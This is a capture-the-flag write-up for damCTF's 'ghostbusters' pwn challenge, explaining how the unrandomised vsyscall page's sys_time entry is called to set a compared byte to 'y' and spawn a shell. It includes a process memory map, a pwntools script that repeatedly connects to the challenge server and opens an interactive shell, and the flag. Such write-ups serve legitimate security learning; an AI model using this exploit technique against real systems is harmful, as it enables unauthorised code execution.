Tags: pwn
Rating:
The binary we were given was simply taking in input a pointer via scanf and then make an arbitrary call on it.
It then compare the last byte of a variable stored on the main function stackframe with 'n' and 'y' and then call a shell if the char is 'y'.
All protections were enabled.

The main difficulty of this challenge was looking for where to make an arbitrary call with PIE and ASLR enabled.
After a bit of research on the binary, when reading the mappings of the process, I noticed a special segment "vsyscall" which wasn't affected by ASLR and executable as showed below:
```
55add8fb1000-55add8fb2000 r-xp 00000000 08:02 12321756 /home/guillaume/Documents/CTF/damCTF/pwn/ghostbusters/ghostbusters
55add91b1000-55add91b2000 r--p 00000000 08:02 12321756 /home/guillaume/Documents/CTF/damCTF/pwn/ghostbusters/ghostbusters
55add91b2000-55add91b3000 rw-p 00001000 08:02 12321756 /home/guillaume/Documents/CTF/damCTF/pwn/ghostbusters/ghostbusters
55adda80d000-55adda82e000 rw-p 00000000 00:00 0 [heap]
7fb0ef929000-7fb0efb10000 r-xp 00000000 08:02 14680329 /lib/x86_64-linux-gnu/libc-2.27.so
7fb0efb10000-7fb0efd10000 ---p 001e7000 08:02 14680329 /lib/x86_64-linux-gnu/libc-2.27.so
7fb0efd10000-7fb0efd14000 r--p 001e7000 08:02 14680329 /lib/x86_64-linux-gnu/libc-2.27.so
7fb0efd14000-7fb0efd16000 rw-p 001eb000 08:02 14680329 /lib/x86_64-linux-gnu/libc-2.27.so
7fb0efd16000-7fb0efd1a000 rw-p 00000000 00:00 0
7fb0efd1a000-7fb0efd41000 r-xp 00000000 08:02 14680317 /lib/x86_64-linux-gnu/ld-2.27.so
7fb0eff15000-7fb0eff17000 rw-p 00000000 00:00 0
7fb0eff41000-7fb0eff42000 r--p 00027000 08:02 14680317 /lib/x86_64-linux-gnu/ld-2.27.so
7fb0eff42000-7fb0eff43000 rw-p 00028000 08:02 14680317 /lib/x86_64-linux-gnu/ld-2.27.so
7fb0eff43000-7fb0eff44000 rw-p 00000000 00:00 0
7ffea129d000-7ffea12be000 rw-p 00000000 00:00 0 [stack]
7ffea1383000-7ffea1386000 r--p 00000000 00:00 0 [vvar]
7ffea1386000-7ffea1388000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
```
It it used with vdso to enhance syscalls performance.
While exploring it, I could list 3 entries, that were syscalls we could call:
- 0xffffffffff600000: sys_gettimeofday
- 0xffffffffff600400: sys_time
- 0xffffffffff600800: sys_getcpu
For some reasons, I couldn't jump on the first and third entry, letting us only the possibility to call sys_time.
Before calling our pointer, we can see on the Cutter graph that the address of the variable compared to 'y' was put on rdi

And the sys_time syscall assigns the current timestamp to the value pointed by rdi.
Sooo if we manage to have the timestamp such as the LSB is "0x79" = 'y' we win !
We can write an ugly script to do this:
```
#!/usr/bin/python
from pwn import *
import time
REMOTE = True
while True:
if REMOTE:
r = remote('chals.damctf.xyz', 32556)
else:
r = process('./ghostbusters')
r.recv()
r.sendline('0xffffffffff600400')
if REMOTE:
r.recv()
try:
r.sendline('id')
print(r.recv())
r.interactive()
r.close()
except:
r.close()
time.sleep(1)
# dam{th3_Gh0s75_0F_T1m3_k3ep_H4unTiNg_m3}
```
Fun challenge, would recommend, learned about the vsyscall table.